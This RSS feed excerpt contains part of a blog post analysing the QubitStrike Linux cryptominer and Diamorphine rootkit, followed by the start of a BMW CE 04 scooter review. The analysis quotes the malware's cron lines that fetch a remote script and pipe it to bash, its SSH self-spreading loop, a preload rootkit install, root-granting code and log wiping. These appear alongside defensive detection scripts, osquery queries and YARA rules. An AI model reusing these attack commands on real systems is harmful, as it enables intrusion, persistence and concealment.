<p>Rather than fetching the rootkit, it cleverly embeds it as a base64 string and decodes it – providing ample detection opportunity. If you ever see a base64 string that begins with <code>H4sI</code>, you know you are dealing with a base64-encoded gzip file (another detection hint). Since kernel module binaries are not portable, Qubitstrike installs a compiler and the headers necessary before building the rootkit.</p>

<p>So, what is <a href="https://github.com/m0nad/Diamorphine">Diamorphine</a>? It&#39;s easily the most popular open-source rootkit for Linux. I&#39;ve long poo-pooed kernel-mode rootkits in Linux as unsupportable due to the constant churn of the Linux kernel, but surprisingly, Diamorphine has been updated to work on modern Linux kernels! It works perfectly on a fully patched Ubuntu 23.04 or 23.10 machine (Linux 6.2.0 &amp; 6.5.3). Diamorphine does segfault on my ArchLinux laptop (Linux 6.5.7), showing that Linux rootkits are still somewhat fragile.</p>

<p>Diamorphine has a unique control mechanism: signals. You can see it in action in Qubitstrike:</p>

<pre><code class="language-shell">+ echo &#39;Hiding process ( python-dev ) pid ( 4088 )&#39;
Hiding process ( python-dev ) pid ( 4088 )
+ kill -31 4088
</code></pre>

<p>How does the process hiding work? Diamorphine intercepts calls to the <a href="https://linux.die.net/man/2/getdents64">getdents64(2)</a> system call, used in turn by <a href="https://linux.die.net/man/3/readdir">readdir(3)</a>. On Linux, system utilities, such as ps or netstat, read the contents of the <code>/proc</code> directory to know what processes or tasks are currently running – this malware will filter out the pid entry for any processes that have been passed signal 31 (the unused <a href="https://www-uxsup.csx.cam.ac.uk/courses/moved.Building/signals.pdf">SIGSYS</a> signal).</p>

<p>In addition, Diamorphine has an option of hiding any files matching a <code>MAGIC_PREFIX</code>. This is commonly used to hide directories, but Qubitstrike does not take advantage of it. Diamorphine also supports other signals, notably  <code>-64</code>, which upgrades a process to root access. From <a href="https://github.com/m0nad/Diamorphine/blob/master/diamorphine.c">diamorphine.c</a>:</p>

<pre><code class="language-c">void
give_root(void) {
...
    newcreds-&gt;uid.val = newcreds-&gt;gid.val = 0;
    newcreds-&gt;euid.val = newcreds-&gt;egid.val = 0;
    newcreds-&gt;suid.val = newcreds-&gt;sgid.val = 0;
    newcreds-&gt;fsuid.val = newcreds-&gt;fsgid.val = 0;
...
}
</code></pre>

<p>This signals-based mechanism makes Diamorphine easy to detect. Simply iterate over every signal and see what happens! We&#39;ll show an example later.</p>

<h2 id="user-mode-rootkit-processhider" id="user-mode-rootkit-processhider">User-mode rootkit: processhider</h2>

<p>If Diamorphine fails to build, QubitStrike falls back to using a modified version of  <a href="https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c">github.com/gianlucaborello/libprocesshider/blob/master/processhider.c</a> – a user-mode rootkit.</p>

<pre><code class="language-shell">+ echo I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg... | base64 -d
+ sed -i s/procname/python-dev/g /usr/share/.LQvKibDTq4/prochid.c
+ chattr -ia /etc/ld.so.preload /usr/local/lib/
+ gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so /usr/share/.LQvKibDTq4/prochid.c -ldl
+ echo /usr/local/lib/libnetresolv.so &gt; /etc/ld.so.preload
+ &#39;[&#39; -f /usr/local/lib/libnetresolv.so &#39;]&#39;
+ chattr +i /usr/local/lib/libnetresolv.so
+ chattr +i /etc/ld.so.preload
</code></pre>

<p>This malware intercepts userland requests to glibc&#39;s <a href="https://linux.die.net/man/3/readdir"><code>readdir(3)</code></a> function. If the name matches <code>python-dev</code>, the process is hidden in much the same way as Diamorphine. In the old days, user-mode rootkits were deployed by setting the <a href="https://www.hpc.dtu.dk/?page_id=1180"><code>LD_LIBRARY_PATH</code></a><code>environment variable</code>, but on Linux, you can get the same result by adding the library path to <code>/etc/ld.so.preload</code>.</p>

<p>In 99% of environments, this file shouldn&#39;t exist. Check for it.</p>

<h2 id="establishing-persistence" id="establishing-persistence">Establishing Persistence</h2>

<p><img src="https://i.snap.as/aArwlOKd.webp" alt=""/></p>

<p>QubitStrike will establish persistence through cron. First, it grabs the killer script, which shares the same competition killers we saw before, from Codeberg, and installs it to cron:</p>

<pre><code class="language-shell">+ cron_set
+ killerd=/usr/share/.28810
+ mkdir -p /usr/share/.28810
+ [[ zurl -o != &#39;&#39; ]]
+ zurl -o /usr/share/.28810/kthreadd https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh
+ chmod +x /usr/share/.28810/kthreadd
+ chattr -R -ia /etc/cron.d
+ echo -e &#39;*/1 * * * * root /usr/share/.28810/kthreadd&#39; &gt; /etc/cron.d/netns
</code></pre>

<p>It also sets the miner to start on reboot:</p>

<pre><code class="language-shell">+ echo &#39;@reboot root /usr/share/.LQvKibDTq4/python-dev -c /usr/share/.LQvKibDTq4/config.json&#39; &gt; /etc/cron.d/apache2
</code></pre>

<p>Once a day, it starts the QubitStrike installer again using the latest code. Since there is no other cron task to reinstall the Diamorphine module, this means there can be up to a full day where the miner is running unhidden. I like how it hedges its bets by using the renamed <code>zget</code> or <code>curl</code> commands:</p>

<pre><code class="language-shell">+ echo &#39;@daily root zget -q -O - https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash&#39; &gt; /etc/cron.d/apache2.2
+ echo -e &#39;0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash&#39;  &gt; /etc/cron.d/netns2
+ echo &#34;0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash &gt; /dev/null 2&gt;&amp;1&#34; &gt;&gt; /etc/crontab
+ echo &#34;0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash &gt; /dev/null 2&gt;&amp;1&#34; &gt;&gt; /etc/crontab
+ chattr -R +ia /etc/cron.d
+ chattr -R +i /usr/share/.LQvKibDTq4
</code></pre>

<h2 id="the-viral-component-of-qubitstrike" id="the-viral-component-of-qubitstrike">The viral component of QubitStrike</h2>

<p><img src="https://i.snap.as/CV7Rixe9.png" alt=""/></p>

<p>One of the surprising features of QubitStrike is that it will attempt to replicate itself to any systems it finds in <code>/root/.ssh/known_hosts</code>:</p>

<pre><code class="language-shell">ssh_local() {
if [ -f /root/.ssh/known_hosts ] &amp;&amp; [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE &#34;\b([0-9]{1,3}\.){3}[0-9]{1,3}\b&#34; /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h &#39;$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash &gt;/dev/null 2&gt;&amp;1 &amp;&#39; &amp; done
fi
}
</code></pre>

<p>To be more effective, the installer should have also parsed other users <code>known_hosts</code> files, but perhaps I shouldn&#39;t be giving malware authors tips.</p>

<h2 id="the-coup-de-grace-log-truncation" id="the-coup-de-grace-log-truncation">The coup de grace: log truncation</h2>

<p>Before exiting the installer, QubitStrike truncates many important system logs:</p>

<pre><code class="language-shell">logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog)
  for Lg in &#34;${logs[@]}&#34;; do
    echo 0&gt; $Lg;
  done
</code></pre>

<p>It does not do anything about truncating systemd logs, though.</p>

<h2 id="detecting-qubitstrike-from-a-shell" id="detecting-qubitstrike-from-a-shell">Detecting Qubitstrike from a shell</h2>

<p><img src="https://i.snap.as/KVms6GJG.png" alt=""/></p>

<p>On Linux, process hiders are hilariously simple to detect. In my experience, ro rootkits bother to hide all of the /proc lookup points, preferring instead to just hide from the /proc directory list.</p>

<p>My detection technique is to iterate over all possible process ID numbers and check for the existence of /proc/$pid/something file. If it exists, cross-reference it against the directory listing of /proc, and report missing entries. This works swimmingly:</p>

<pre><code class="language-shell">#!/bin/bash
start=$(date +%s)
for pid in *; do
    visible[$pid]=1
done

for i in $(seq 2 &#34;$(cat /proc/sys/kernel/pid_max)&#34;); do
    [[ ${visible[$i]} = 1 ]] &amp;&amp; continue
    [[ ! -e /proc/$i/status ]] &amp;&amp; continue
    [[ $(stat -c %Z /proc/$i) -ge $start ]] &amp;&amp; continue

    #  pid is a kernel thread
    [[ $(awk &#39;/Tgid/{ print $2 }&#39; &#34;/proc/${i}/status&#34;) != &#34;${i}&#34; ]] &amp;&amp; continue

    exe=$(readlink &#34;/proc/$i/exe&#34;)
    cmdline=$(tr &#39;\000&#39; &#39; &#39; &lt;&#34;/proc/$i/cmdline&#34;)
    echo &#34;- hidden $(cat /proc/$i/comm)[${i}] is running ${exe}: ${cmdline}&#34;
done
</code></pre>

<p>Here&#39;s what this script outputs on a QubitStrike victim host:</p>

<pre><code class="language-log">- hidden python-dev[27158] is running /usr/share/.LQvKibDTq4/python-dev: /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
</code></pre>

<p>If a rootkit uses a kernel module, as Diamorphine does, it&#39;s almost certainly going to impact the <a href="https://www.kernel.org/doc/html/v4.19/admin-guide/tainted-kernels.html">kernel taint</a> value, as well as leave evidence behind in the <code>dmesg</code> buffer. QubitStrike and Diamorphine are no exception:</p>

<pre><code>kernel taint value: 12288
* matches bit 12: externally-built (out-of-tree) module was loaded
* matches bit 13: unsigned module was loaded

dmesg:
[ 1721.518533] diamorphine: loading out-of-tree module taints kernel.
[ 1721.536521] diamorphine: module verification failed: signature and/or required key missing - tainting kernel
</code></pre>

<p>Now for the new star of the show, the script that uncovers kernel rootkits that communicate via signal:</p>

<pre><code class="language-diff">-- [ rootkit-signal-handler.sh ] -----------------------------------------------
NOTE: root-escalation detection requires a non-root user
- SIGNAL 31 made /proc/46233 (this process) invisible!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.sjwv6iMtDx 2023-10-20 02:34:25.912665169 +0000
+++ /tmp/tmp.L1e9HVPFGi 2023-10-20 02:34:25.964663794 +0000
@@ -10,6 +10,7 @@
 bridge
 btrfs
 ccp
+diamorphine
 dm_multipath
 drm
 drm_kms_helper
- SIGNAL 31 made /proc/46233 (this process) visible again!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.IoOFxxR8en 2023-10-20 02:34:34.156522332 +0000
+++ /tmp/tmp.AWQeOosqOh 2023-10-20 02:34:34.212521840 +0000
@@ -10,7 +10,6 @@
 bridge
 btrfs
 ccp
-diamorphine
 dm_multipath
 drm
 drm_kms_helper
</code></pre>

<p>It&#39;s also easy to detect the SSH keys, hidden directories, and crontab entries – if you want to see how, check out the <a href="https://github.com/tstromberg/sunlight">tstromberg/sunlight</a> repo.</p>

<h2 id="detecting-qubitstrike-with-osquery" id="detecting-qubitstrike-with-osquery">Detecting Qubitstrike with osquery</h2>

<p>Some of you might know that I also maintain the <a href="https://github.com/chainguard-dev/osquery-defense-kit">osquery-defense-kit</a> project, something I&#39;ve put together in my time at <a href="https://chainguard.dev/">Chainguard</a>. It&#39;s a collection of production-quality queries to uncover suspicious behavior using <a href="https://www.osquery.io/">osquery</a>.</p>

<p><img src="https://i.snap.as/ttv2DxWz.png" alt=""/></p>

<p><code>osquery-defense-toolkit</code> has a handy <code>make detect</code> target to run all the scripts. Here&#39;s what pops up on a machine with Qubitstrike:</p>

<pre><code>pid-hidden-by-rootkit (1 rows)
------------------------------
cgroup_path:/user.slice/user-501.slice/session-4.scope cmdline:&#39;/usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90&#39; cwd:/ disk_bytes_read:311296 disk_bytes_written:0 egid:0 euid:0 gid:0 name:python-dev nice:0 on_disk:1 parent:1 path:/usr/share/.LQvKibDTq4/python-dev pgroup:4030 pid:4030 resident_size:4096000 root:/ sgid:0 start_time:1697625949 state:S suid:0 system_time:23170 threads:10 total_size:2504282112 uid:0 user_time:6077320 wired_size:0
</code></pre>

<p>This is effectively a port of the hidden-pids.sh script I showed you before:</p>

<pre><code class="language-sql">
WITH RECURSIVE cnt(x) AS (
   SELECT 1
   UNION ALL
   SELECT x + 1
   FROM cnt
   LIMIT 4194304
)
SELECT p.*
FROM cnt
   JOIN processes p ON x = p.pid
WHERE x NOT IN (
       SELECT pid
       FROM processes
)
AND p.start_time &lt; (strftime(&#39;%s&#39;, &#39;now&#39;) - 1)
AND (
       p.pgroup = p.pid
       OR (
           p.pid = p.parent
           AND p.threads = 1
       )
)
</code></pre>

<p>osquery finds the SSH keys:</p>

<pre><code>unexpected-ssh-authorized-keys (1 rows)
---------------------------------------
atime:1697625779 ctime:1697625778 gid:0 mtime:1697625778 path:/root/.ssh/authorized_keys sha256:e8d5053e7c719114b45956695da845840ab45fb3e8d659f4ed991b274a8ed7a8 size:563 u_uid:0 uid:0 username:root
</code></pre>

<p>As well as the kernel taint:</p>

<pre><code>unusually-tainted-kernel-linux (1 rows)
---------------------------------------
force_loaded:0 force_unloaded:0 is_aux:0 is_unsigned:8192 kernel_warning:0 modules:nft_compat,nft_chain_nat,overlay,xt_tcpudp,xt_nat,xt_multiport,xt_mark,xt_conntrack,xt_comment,xt_addrtype,xt_MASQUERADE,nf_tables,nfnetlink,ip6table_filter,iptable_filter,ip6table_nat,iptable_nat,nf_nat,nf_conntrack,nf_defrag_ipv6,nf_defrag_ipv4,ip6_tables,veth,bridge,stp,llc,tap,tls,isofs,kvm_amd,ccp,binfmt_misc,kvm,irqbypass,virtio_input,nls_iso8859_1,input_leds,serio_raw,dm_multipath,scsi_dh_rdac,scsi_dh_emc,scsi_dh_alua,efi_pstore,ip_tables,x_tables,autofs4,btrfs,blake2b_generic,raid10,raid456,async_raid6_recov,async_memcpy,async_pq,async_xor,async_tx,xor,raid6_pq,libcrc32c,raid1,raid0,multipath,linear,virtio_gpu,virtio_dma_buf,drm_shmem_helper,drm_kms_helper,syscopyarea,sysfillrect,sysimgblt,psmouse,ahci,virtio_net,drm,libahci,net_failover,virtio_blk,xhci_pci,xhci_pci_renesas,virtio_rng,failover out_of_spec:0 out_of_tree:4096 proprietary:0 requested_by_userspace:0 taint:12288
</code></pre>

<p>To look at the source code to these queries, see:</p>
<ul><li><a href="https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/evasion/pid-hidden-by-rootkit.sql">pid-hidden-by-rootkit.sql</a></li>
<li><a href="https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/persistence/unexpected-ssh-authorized-keys.sql">unexpected-ssh-authorized-keys.sql</a></li>
<li><a href="https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/evasion/unusually-tainted-kernel-linux.sql">unusually-tainted-kernel-linux.sql</a></li></ul>

<p>These queries were written way before QubitStrike ever existed; they just happen to cover a broad set of malicious behavior. It&#39;s nice when old tricks still work on new dogs.</p>

<h2 id="detecting-qubitstrike-with-yara" id="detecting-qubitstrike-with-yara">Detecting Qubitstrike with YARA</h2>

<p><img src="https://i.snap.as/9grhf7eX.png" alt=""/></p>

<p>The original article by Cado had a very specific rule for the QubitStrike installer. Still, it&#39;s worth mentioning that generic malware detection rules that predate QubitStrike are equally as good at detecting not just the QubitStrike, but also the files it installs: Using a set of general-purpose YARA rules I plan to open-source, the QubitStrike installer triggered a record 22 different rules:</p>

<pre><code class="language-log">CRITICAL /Users/t/src/malware-menagerie/linux/2023.Trojan_Miner.QubitStrike/installer/mi.sh
  * router_malware
      usr_sbin: /usr/sbin
      wget: /wget
      curl: /curl
  * ld_so_preload
      ld_so_preload: /etc/ld.so.preload
  * systemctl_calls
      systemctl_disable: systemctl disable
  * linux_service_disabler
      setenforce_0: setenforce 0
      selinux_disabled: SELINUX=disabled
      watchdog: kernel.nmi_watchdog=0
  * linux_pkg_installer_command
      yum: yum install -y
  * danger_base64_decoder
      base64_d: base64 -d
  * echo_decode_bash
      echo: echo
      base64_d: base64 -d
      bash: bash
  * hardcoded_var_tmp_location
      var_tmp: /var/tmp/.
  * obfuscated_base64
      b_c_program: I2luY2x1ZGUgPHN0ZGlvLmg+
      b_user_rootkit: jaW5jbHVkZSA8ZGlyZW50Lmg+
      b_gzip: H4sI
  * hide_this_plz
      histfile: HISTFILE=
      histfile_dev: HISTFILE=/dev
  * kill_and_remove
      rm_f: rm -f
      rm_rf: rm -rf
      k_killall: killall
      k_pgrep: pgrep
      k_pkill: pkill
  * rm_f_hardcoded_tmp_path
      rm_f_tmp_var_dev: rm -rf /tmp/.LQvKibDTq4/
  * crontab_writer
      c_etc_crontab: /etc/crontab
      c_root_cron_entry: * * * * root
      c_reboot: @reboot
  * hidden_path
      crit: /tmp/.LQvKibDTq4
  * weird_tmp_path_not_hidden
      tmp_digits: /tmp/65
      tmp_short: /tmp/.$
  * chattr_caller
      chattr: chattr -
  * ssh_key_access
      ssh_authorized_keys: authorized_keys
      ssh_dir: /.ssh
  * recon_commands
      c_whoami: whoami
      c_id: id
      c_hostname: hostname
      c_ifconfig: ifconfig
  * suspicious_fetch_command
      curl_d: curl -o
      curl_insecure: curl --silent --insecure
  * hardcoded_dns_resolver
      d_google_public: 8.8.8.8
  * danger_crypto_miner
      crypto_pool: crypto-pool
      f2pool: f2pool
      monero_hash: monerohash
      monero_pool: moneropool
      xmrpool: xmrpool
      xmrig: xmrig
</code></pre>

<p>Most of the queries are self-evident, but I&#39;ll share one of the cooler queries I use to detect malware that is hiding data away in base64 encoded blobs:</p>

<pre><code class="language-yara">rule obfuscated_base64 {
    $b_chmod = &#34;chmod&#34; base64
    $b_curl = &#34;curl &#34; base64
    $b_bin_sh = &#34;/bin/sh&#34; base64
    $b_bin_bash = &#34;/bin/bash&#34; base64
    $b_openssl = &#34;openssl&#34; base64
    $b_dev_null = &#34;/dev/null&#34; base64
    $b_user_agent = &#34;User-Agent&#34; base64
    $b_usr_bin = &#34;/usr/bin&#34; base64
    $b_usr_sbin = &#34;/usr/sbin&#34; base64
    $b_var_tmp = &#34;/var/tmp&#34; base64
    $b_var_run = &#34;/var/run&#34; base64
    $b_screen_dm = &#34;screen -dm&#34; base64
    $b_zmodload = &#34;zmodload&#34; base64
    $b_dev_tcp = &#34;/dev/tcp&#34; base64
    $b_bash_i = &#34;bash -i&#34; base64
    $b_bash_c = &#34;bash -c&#34; base64
    $b_http = &#34;http://&#34; base64
    $b_https = &#34;https://&#34; base64
    $b_c_program = &#34;#include &lt;stdio.h&gt;&#34; base64
    $b_user_rootkit = &#34;#include &lt;dirent.h&gt;&#34; base64
    $b_kernel_rootkit = &#34;#include &lt;linux/module.h&gt;&#34; base64
    $b_c_program2 = &#34;#include&lt;stdio.h&gt;&#34; base64
    $b_user_rootkit2 = &#34;#include&lt;dirent.h&gt;&#34; base64
    $b_kernel_rootkit2 = &#34;#include&lt;linux/module.h&gt;&#34; base64
    $b_password = &#34;password&#34; base64
    $b_gzip = &#34;H4sI&#34;
    $not_kandji = &#34;kandji-parameter-agent&#34;
    $not_kolide = &#34;KOLIDE_LAUNCHER_OPTION&#34;
    $not_mdmprofile = &#34;mdmprofile&#34;
    $not_chromium = &#34;RasterCHROMIUM&#34;
    $not_cert = &#34;-----BEGIN CERTIFICATE-----&#34;
  condition:
    filesize &lt; 10485760 and any of ($b_*) and none of ($not_*)
}
</code></pre>

<p>My rules have not attempted to detect rootkit source code yet, but surprisingly, this exceptionally broad rule worked to discover Diamorphine:</p>

<pre><code class="language-yara">rule suspicious_keywords {
  strings:
    $DDoS = &#34;DDoS&#34;
    $DD0S = &#34;DD0S&#34;
    $backdoor = &#34;backdoor&#34;
    $Backdoor = &#34;Backdoor&#34;
    $backd00r = &#34;backd00r&#34;
    $rootkit = &#34;rootkit&#34;
    $Rootkit = &#34;Rootkit&#34;
    $r00tkit = &#34;r00tkit&#34;
    $r00tk1t = &#34;r00tk1t&#34;
    $trojan = &#34;trojan&#34;
    $Trojan = &#34;Trojan&#34;
    $tr0jan = &#34;tr0jan&#34;
  condition:
    any of them
}
</code></pre>

<p>This simple rule to detect usermode rootkits caught the <code>prochide.c</code>:</p>

<pre><code class="language-yara">rule userspace_process_hider {
  strings:
    $prochide = &#34;processhide&#34;
    $proc_to_filter = &#34;process_to_filter&#34;
    $readdir_override = &#34;original_readdir&#34;
  condition:
    any of them
}
</code></pre>

<p>The <code>python-dev</code> xmrig program triggered 8 different rules. I&#39;ll share one of the more creative ones:</p>

<pre><code class="language-yara">rule probably_a_linux_miner {
  strings:
    $argon = &#34;argon2d&#34;
    $proc_self = &#34;/proc/self&#34;
    $numa = &#34;NUMA&#34;
  condition:
    all of them
}
</code></pre>

<p>If you want to see some YARA queries specifically tuned for finding Linux rootkits, <a href="https://github.com/dmknght/rkcheck/blob/main/rules/rootkit.yar">dmknght/rkcheck</a> is a good reference.</p>

<h2 id="detecting-using-gut-instinct" id="detecting-using-gut-instinct">Detecting using gut instinct</h2>

<p>If you ever see a host with a load of 5.0+ and no high-CPU processes, chances are you have been infected with a hidden crypto-miner. No rootkit I&#39;ve seen on Linux attempts to manipulate load values.</p>

<h2 id="wrapping-up" id="wrapping-up">Wrapping Up</h2>

<p>I hope you had fun through this tour. If you have any questions or malware samples to share, feel free to contact me at thomas(%2b)stromberg.org</p>
]]></content:encoded>
      <guid>https://unfinished.bike/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream</guid>
      <pubDate>Sat, 21 Oct 2023 00:12:24 +0000</pubDate>
    </item>
    <item>
      <title>BMW CE 04: The Suit &amp; Tie Rocket Ship</title>
      <link>https://unfinished.bike/bmw-ce-04-the-suit-and-tie-rocket-ship?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[With 4,700 miles (7500km) and 9 months under my belt, it&#39;s time for my long-term review of the BMW CE 04.&#xA;&#xA;Introduction&#xA;&#xA;In 2022, BMW released the CE 04: a futuristic-looking spaceship in a sea of boring two-wheeled EVs. It made quite a splash, with BMW selling nearly 5000 in the first year. While European sales were strong, I estimate that only about 250 were sold in the USA during 2022. I may, in fact be the only CE 04 owner in North Carolina.&#xA;&#xA;!--more--&#xA;&#xA;One question I often get from onlookers is: is that thing a scooter, or is that a motorcycle? While the CE 04 shares parts with their motorcycle line (S1000XR, F850GS, etc.), it has a floorboard instead of foot pegs, so BMW calls it a scooter. With the transition to electric, there is no other difference between a scooter and a motorcycle. Scooters also generally have an area under the dash where you can place your legs or groceries, but the CE 04 does not.&#xA;&#xA;While the CE 04 is the most fun I&#39;ve had on two wheels, it is also the personification of compromise. It&#39;s heavy, but due to the exceptionally low center of gravity, it&#39;s far easier to handle than the equally heavy R1200GS. Rather than using new electric technologies like a hub motor, the CE 04 reuses well-tested components. Somehow, it is still the most efficient EV in its class (WMTC 3b). It&#39;s got more range than you need for the city, but less than you may want for touring.&#xA;&#xA;Who should get this bike?&#xA;&#xA;If you are looking for a fast, fun, practical utility bike, have access to a power outlet at home, and live within 30 miles (50km) of another EV charger (see the Plugshare map): skip the rest of this review and go buy a CE 04 now.&#xA;&#xA;If you ride primarily in urban or suburban areas, I can&#39;t think of a better bike than the CE 04.&#xA;&#xA;Who should steer clear of it?&#xA;&#xA;If you want to participate in long group rides or want to venture out on day-long rides without micro-managing charging stops: check out Energica or Verge Motorcycles instead.&#xA;&#xA;Specs&#xA;&#xA;Top Speed: 78mph&#xA;Approximate Range:&#xA;  75 miles @ 35mph / 120 km @ 60km/h&#xA;  65 miles @ 45mph / 105 km @ 70km/h&#xA;  60 miles @ 55mph / 95 km @ 90km/h&#xA;  40 miles @ 70mph / 65 km @ 115km/h&#xA;Acceleration: 0-30mph (0-50km/h) in \~2s&#xA;Maintenance: Every 2 years or 6200 miles (10000km)&#xA;Battery: 8.9 kWh total (8.5 kWh usable)&#xA;Effective charge time: \~1 hour @ 30A (240V) with the &#34;Quick Charge&#34; option&#xA;&#xA;What&#39;s Hot, What&#39;s Not?&#xA;&#xA;Keeping in mind that I am using the CE 04 as both a utility vehicle and a sport touring vehicle in North Carolina:&#xA;&#xA;Hot:&#xA;&#xA;Brisk acceleration&#xA;Agile &amp; easy to ride&#xA;Inexpensive to fuel ($1.15 where I live)&#xA;Always waking up to a full tank&#xA;Lack of engine noise and vibration makes it easier to tune into your surroundings&#xA;Leg protection&#xA;Reverse gear&#xA;Heated seat &amp; hand-grips&#xA;30L of under-seat storage&#xA;&#xA;Not so hot:&#xA;&#xA;Range anxiety is real&#xA;Seats are uncomfortable for multi-hour rides&#xA;AC charging only; no support for DC fast chargers.&#xA;Fragile rear indicator lights&#xA;&#xA;That Acceleration Tho&#xA;&#xA;The CE 04 accelerates like a bat out of hell. If you crank the throttle all the way in &#34;Road&#34; or &#34;Dynamic&#34; mode, it will calmly and quietly reach 30km/h (18mph) before the first second is up. The lack of any perceived stress from the scooter when launching it from an intersection is uncanny. The traction control system limits the earliest stage of acceleration to avoid lofting the front wheel or throwing a passenger off the back.&#xA;&#xA;The acceleration still pulls aggressively through 60 km (37mph), enough to leave anything short of a supercar in the dust when leaving an intersection. After 72 km (45mph), the acceleration is no longer shocking and feels like a regular modern vehicle.&#xA;&#xA;Leaving everyone else behind at a green light is the most enjoyable part of owning the CE 04.&#xA;&#xA;How does it ride?&#xA;&#xA;The BMW CE 04 rides really well, especially considering its weight. The center of gravity on this bike is easier lower than anything BMW has ever produced, which makes it a far more enjoyable experience to take this bike into town than the GS I used to have.&#xA;&#xA;I&#39;ve ridden the CE 04 in gravel, double-track, cities, highways, rain, flooded roads, and even briefly on ice. So far, the biggest handling surprise has been how competent this bike feels in gravel. The bike is also good on the highway or two-up, where it behaves much better than a F650GS and nearly as good as a R1200GS.&#xA;&#xA;I can only find two faults with the bike handling:&#xA;&#xA;The suspension is good, but you may periodically hit the travel limit (110mm front, 92mm rear) on a rough road&#xA;The steering of the CE 04 feels more easily influenced by high-speed crosswinds than other bikes&#xA;&#xA;The Electric Experience&#xA;&#xA;The best two things about having an electric vehicle are:&#xA;&#xA;Near-zero maintenance&#xA;Never having to visit a gas station&#xA;&#xA;The worst parts are:&#xA;&#xA;The fear of exceeding your range&#xA;The fear of arriving at a broken charger&#xA;&#xA;It was only on my first multi-day trip with the CE 04 that I finally mastered the art of dialing up efficiency as needed. If you find yourself in a situation where you need to stretch your range, the following recipe is good to squeeze an extra 10-15% out of the scoot:&#xA;&#xA;Travel at 5mph (8km/h) less than the speed limit&#xA;Use &#34;Eco&#34; Mode&#xA;Avoid the brakes&#xA;&#xA;I was surprised to learn that power usage has a cubic relationship with velocity:&#xA;&#xA;power = 0.5  densityofair  velocity^3  drag coefficient  surface area&#xA;&#xA;This is much more noticeable on a two-wheeled EV than any other type of vehicle because of the high drag coefficient (  1 versus 0.23 in a Tesla Model Y), low energy density, and because they are highly efficient at slow speeds, whereas internal combustion engines are not. Even a small difference in speed dramatically impacts the range of EVs, especially a two-wheeled one.&#xA;&#xA;I&#39;ve observed a 23% range difference between &#34;Dynamic&#34; and &#34;Eco&#34; modes on the same stretch of road an hour apart. While the Dynamic mode has \~20% stronger regenerative braking than Eco, I&#39;m skeptical of its effectiveness on a two-wheeled EV due to the relatively low inertial weight. The primary efficiency difference between the Evo/Rain and Road/Dynamic modes is due to the dampening of the acceleration curve.&#xA;&#xA;Regarding the fear of arriving at a broken charger: I&#39;ve now charged at 66 different locations and have only once had to adjust my route due to an unavailable charger. The key to avoiding charger disappointment is to look stations up on PlugShare ahead of time: if the most recent review doesn&#39;t reflect a successful charge, don&#39;t count on having one yourself.&#xA;&#xA;Like most battery-powered devices, it takes about the same time to charge 20-80% as it does from 80-100% due to increased resistance from the battery. My average charge time at public chargers is 30 minutes (20-60%), but if I need to change up to 100% to make it somewhere, I&#39;ll grab a coffee and let the bike sit for an hour.&#xA;&#xA;It is worth noting that the BMW CE 04 is only compatible with AC (alternating current) chargers, like what you have at home. While this means you can charge it from any 110V or 220V power source, it means that it isn&#39;t compatible with the faster DC (direct current) chargers. Due to this incompatibility, even with an adapter, the CE 04 will not charge at  Tesla Superchargers or ElectrifyAmerica chargers. In the United States, the lack of DC support means roughly 15% of chargers are incompatible with the CE 04.&#xA;&#xA;On the plus side, the various apps for looking up chargers allow you to select AC or DC. 99% of the free chargers are AC. The CE 04 works wonderfully with Tesla Destination Chargers, but you&#39;ll need to pack a TeslaTap Mini adapter to use them.&#xA;&#xA;As the BMW CE 04 is slow at refueling compared to traditional two-wheeled bikes, group rides longer than 50 miles can be awkward. It doesn&#39;t help that group rides tend to encourage riding faster than the speed limit, which impacts your range.&#xA;&#xA;Getting Connected&#xA;&#xA;While the CE 04 does not require a cell phone to operate, you will need it if you want the giant 10.25&#34; screen to show navigation instructions; you will need to install an Android or iOS application and connect your phone to your bike via Bluetooth. Good thing the scooter comes with a USB-C charging slot -- the CE 04 even has a fan-cooled location for stowing your phone.&#xA;&#xA;There is no support for Android Auto, CarPlay, or any other mechanism to display maps from your phone to the console. If you want Navigation, you have to use the BMW Motorrad Connected app, which isn&#39;t all that terrible.&#xA;&#xA;The best features of the BMW-connected software are:&#xA;&#xA;You can set the preferred &#34;Windiness&#34; for your route&#xA;Maps work offline&#xA;It records a GPS route of every ride, along with the state-of-charge, ABS, and traction events.&#xA;&#xA;The worst features are:&#xA;&#xA;It will not tell you how much range to expect at your destination&#xA;It will not warn you if the destination exceeds your 